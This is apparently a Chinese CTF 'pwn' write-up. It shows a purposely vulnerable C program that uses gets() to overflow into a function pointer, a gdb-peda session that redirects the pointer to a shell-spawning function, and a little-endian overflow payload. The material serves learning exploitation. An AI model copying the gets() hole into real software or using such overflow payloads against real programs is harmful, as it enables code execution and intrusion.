1.源代码
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char sh[] = "bin/sh";
int init_func(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return 0;
}
int func(char *cmd){
system(sh);
return 0;
}
int main(){
init_func();
volatile int (*fp)();
fp = 0;
int a;
puts("input:");
gets(&a);
if(fp){
fp();
}
return 0;
}
2.编译
gcc question_3.c -no-pie -o question_3
3.gdb调试
gdb-peda$ disass main
Dump of assembler code for function main:
0x000000000040076b <+0>: push rbp
0x000000000040076c <+1>: mov rbp,rsp
0x000000000040076f <+4>: sub rsp,0x20
0x0000000000400773 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000040077c <+17>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400780 <+21>: xor eax,eax
0x0000000000400782 <+23>: mov eax,0x0
0x0000000000400787 <+28>: call 0x4006e7 <init_func>
0x000000000040078c <+33>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000400794 <+41>: lea rdi,[rip+0xc9] # 0x400864
0x000000000040079b <+48>: call 0x4005b0 <puts@plt>
0x00000000004007a0 <+53>: lea rax,[rbp-0x14]
0x00000000004007a4 <+57>: mov rdi,rax
0x00000000004007a7 <+60>: mov eax,0x0
0x00000000004007ac <+65>: call 0x4005e0 <gets@plt>
0x00000000004007b1 <+70>: cmp QWORD PTR [rbp-0x10],0x0
0x00000000004007b6 <+75>: je 0x4007c3 <main+88>
=> 0x00000000004007b8 <+77>: mov rdx,QWORD PTR [rbp-0x10]
0x00000000004007bc <+81>: mov eax,0x0
0x00000000004007c1 <+86>: call rdx
0x00000000004007c3 <+88>: mov eax,0x0
0x00000000004007c8 <+93>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007cc <+97>: xor rcx,QWORD PTR fs:0x28
0x00000000004007d5 <+106>: je 0x4007dc <main+113>
0x00000000004007d7 <+108>: call 0x4005c0 <__stack_chk_fail@plt>
0x00000000004007dc <+113>: leave
0x00000000004007dd <+114>: ret
End of assembler dump.
- 可以看到在箭头处使用了call rdx
- rdx是在上一行被赋值的
- 我连续输入20个a后查看栈
gdb-peda$ x/20xg $rbp-0x20
0x7fffffffe4d0: 0x00000000004007e0 0x6161616100400600
0x7fffffffe4e0: 0x6161616161616161 0x6161616161616161
0x7fffffffe4f0: 0x0000000000400700 0x00007ffff7a03c87
0x7fffffffe500: 0x0000000000000001 0x00007fffffffe5d8
0x7fffffffe510: 0x0000000100008000 0x000000000040076b
0x7fffffffe520: 0x0000000000000000 0x3ecf204c5eb4e6c4
0x7fffffffe530: 0x0000000000400600 0x00007fffffffe5d0
0x7fffffffe540: 0x0000000000000000 0x0000000000000000
0x7fffffffe550: 0xc130df339b74e6c4 0xc130cf8c290ae6c4
0x7fffffffe560: 0x00007fff00000000 0x0000000000000000
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffe4f0
- 那么程序会把0x7fffffffe4e0的位置当作函数指针
gdb-peda$ x/40b $rbp-0x20
0x7fffffffe4d0: 0xe0 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffe4d8: 0x00 0x06 0x40 0x00 0x61 0x61 0x61 0x61
0x7fffffffe4e0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x7fffffffe4e8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x7fffffffe4f0: 0x00 0x07 0x40 0x00 0x00 0x00 0x00 0x00
- 现在要把这个位置覆盖成func的函数地址
- 使用set命令进行赋值
gdb-peda$ set *0x7fffffffe4e0=0
gdb-peda$ x/40b $rbp-20
0x7fffffffe4dc: 0x61 0x61 0x61 0x61 0x00 0x00 0x00 0x00
0x7fffffffe4e4: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x7fffffffe4ec: 0x61 0x61 0x61 0x61 0x00 0x07 0x40 0x00
0x7fffffffe4f4: 0x00 0x00 0x00 0x00 0x87 0x3c 0xa0 0xf7
0x7fffffffe4fc: 0xff 0x7f 0x00 0x00 0x01 0x00 0x00 0x00
gdb-peda$ x/40xg $rbp-0x20
0x7fffffffe4d0: 0x00000000004007e0 0x6161616100400600
0x7fffffffe4e0: 0x6161616100000000 0x6161616161616161
0x7fffffffe4f0: 0x0000000000400700 0x00007ffff7a03c87
0x7fffffffe500: 0x0000000000000001 0x00007fffffffe5d8
0x7fffffffe510: 0x0000000100008000 0x000000000040076b
0x7fffffffe520: 0x0000000000000000 0x17fa4240ebe7e5f4
0x7fffffffe530: 0x0000000000400600 0x00007fffffffe5d0
0x7fffffffe540: 0x0000000000000000 0x0000000000000000
0x7fffffffe550: 0xe805bd3f2e27e5f4 0xe805ad809c59e5f4
0x7fffffffe560: 0x00007fff00000000 0x0000000000000000
0x7fffffffe570: 0x0000000000000000 0x00007ffff7de38d3
0x7fffffffe580: 0x00007ffff7dc9638 0x000000000e75740c
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x0000000000000000 0x0000000000400600
0x7fffffffe5b0: 0x00007fffffffe5d0 0x000000000040062a
0x7fffffffe5c0: 0x00007fffffffe5c8 0x000000000000001c
0x7fffffffe5d0: 0x0000000000000001 0x00007fffffffe7ff
0x7fffffffe5e0: 0x0000000000000000 0x00007fffffffe833
0x7fffffffe5f0: 0x00007fffffffee1f 0x00007fffffffee41
0x7fffffffe600: 0x00007fffffffee50 0x00007fffffffee61
gdb-peda$ set *0x7fffffffe4e4=0
gdb-peda$ x/40xg $rbp-0x20
0x7fffffffe4d0: 0x00000000004007e0 0x6161616100400600
0x7fffffffe4e0: 0x0000000000000000 0x6161616161616161
0x7fffffffe4f0: 0x0000000000400700 0x00007ffff7a03c87
0x7fffffffe500: 0x0000000000000001 0x00007fffffffe5d8
0x7fffffffe510: 0x0000000100008000 0x000000000040076b
0x7fffffffe520: 0x0000000000000000 0x17fa4240ebe7e5f4
0x7fffffffe530: 0x0000000000400600 0x00007fffffffe5d0
0x7fffffffe540: 0x0000000000000000 0x0000000000000000
0x7fffffffe550: 0xe805bd3f2e27e5f4 0xe805ad809c59e5f4
0x7fffffffe560: 0x00007fff00000000 0x0000000000000000
0x7fffffffe570: 0x0000000000000000 0x00007ffff7de38d3
0x7fffffffe580: 0x00007ffff7dc9638 0x000000000e75740c
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x0000000000000000 0x0000000000400600
0x7fffffffe5b0: 0x00007fffffffe5d0 0x000000000040062a
0x7fffffffe5c0: 0x00007fffffffe5c8 0x000000000000001c
0x7fffffffe5d0: 0x0000000000000001 0x00007fffffffe7ff
0x7fffffffe5e0: 0x0000000000000000 0x00007fffffffe833
0x7fffffffe5f0: 0x00007fffffffee1f 0x00007fffffffee41
0x7fffffffe600: 0x00007fffffffee50 0x00007fffffffee61
gdb-peda$ p &func
$2 = (<text variable, no debug info> *) 0x40074c <func>
gdb-peda$ set *0x7fffffffe4e0=0x40074c
gdb-peda$
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7dcda00 --> 0xfbad208b
RDX: 0x40074c (<func>: push rbp)
RSI: 0x7ffff7dcda83 --> 0xdcf8d0000000000a
RDI: 0x0
RBP: 0x7fffffffe4f0 --> 0x400700 (<init_func+25>: add BYTE PTR [rax-0x77],cl)
RSP: 0x7fffffffe4d0 --> 0x4007e0 (<__libc_csu_init>: push r15)
RIP: 0x4007c1 (<main+86>: call rdx)
R8 : 0x7ffff7dcf8c0 --> 0x0
R9 : 0x7ffff7fe04c0 (0x00007ffff7fe04c0)
R10: 0x3
R11: 0x246
R12: 0x400600 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe5d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4007b6 <main+75>: je 0x4007c3 <main+88>
0x4007b8 <main+77>: mov rdx,QWORD PTR [rbp-0x10]
0x4007bc <main+81>: mov eax,0x0
=> 0x4007c1 <main+86>: call rdx
0x4007c3 <main+88>: mov eax,0x0
0x4007c8 <main+93>: mov rcx,QWORD PTR [rbp-0x8]
0x4007cc <main+97>: xor rcx,QWORD PTR fs:0x28
0x4007d5 <main+106>: je 0x4007dc <main+113>
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4d0 --> 0x4007e0 (<__libc_csu_init>: push r15)
0008| 0x7fffffffe4d8 --> 0x6161616100400600
0016| 0x7fffffffe4e0 --> 0x40074c (<func>: push rbp)
0024| 0x7fffffffe4e8 ("aaaaaaaa")
0032| 0x7fffffffe4f0 --> 0x400700 (<init_func+25>: add BYTE PTR [rax-0x77],cl)
0040| 0x7fffffffe4f8 --> 0x7ffff7a03c87 (<__libc_start_main+231>: mov edi,eax)
0048| 0x7fffffffe500 --> 0x1
0056| 0x7fffffffe508 --> 0x7fffffffe5d8 --> 0x7fffffffe7ff ("/home/lwj/Desktop/git/ctf-pwn/question_3/question_3")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004007c1 in main ()
gdb-peda$
gdb-peda$ c
Continuing.
[New process 77144]
process 77144 is executing new program: /bin/dash ==>这里显示已经开启了新进程
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x4007b8
gdb-peda$
4.payload
以下都是使用py2操作
payload = 'A' * 4 + '000000000040074c'
payload = 'A' * 4 + '\x00\x00\x00\x00\x00\x40\x07\x4c'
- 但是这个时候还是打不通的
- 原因是我们没注意大小端序
- 64位程序是小端序
- 我手动操作换成小端序即可
payload = 'A' * 4 + '\x4c\x07\x40\x00\x00\x00\x00\x00'
|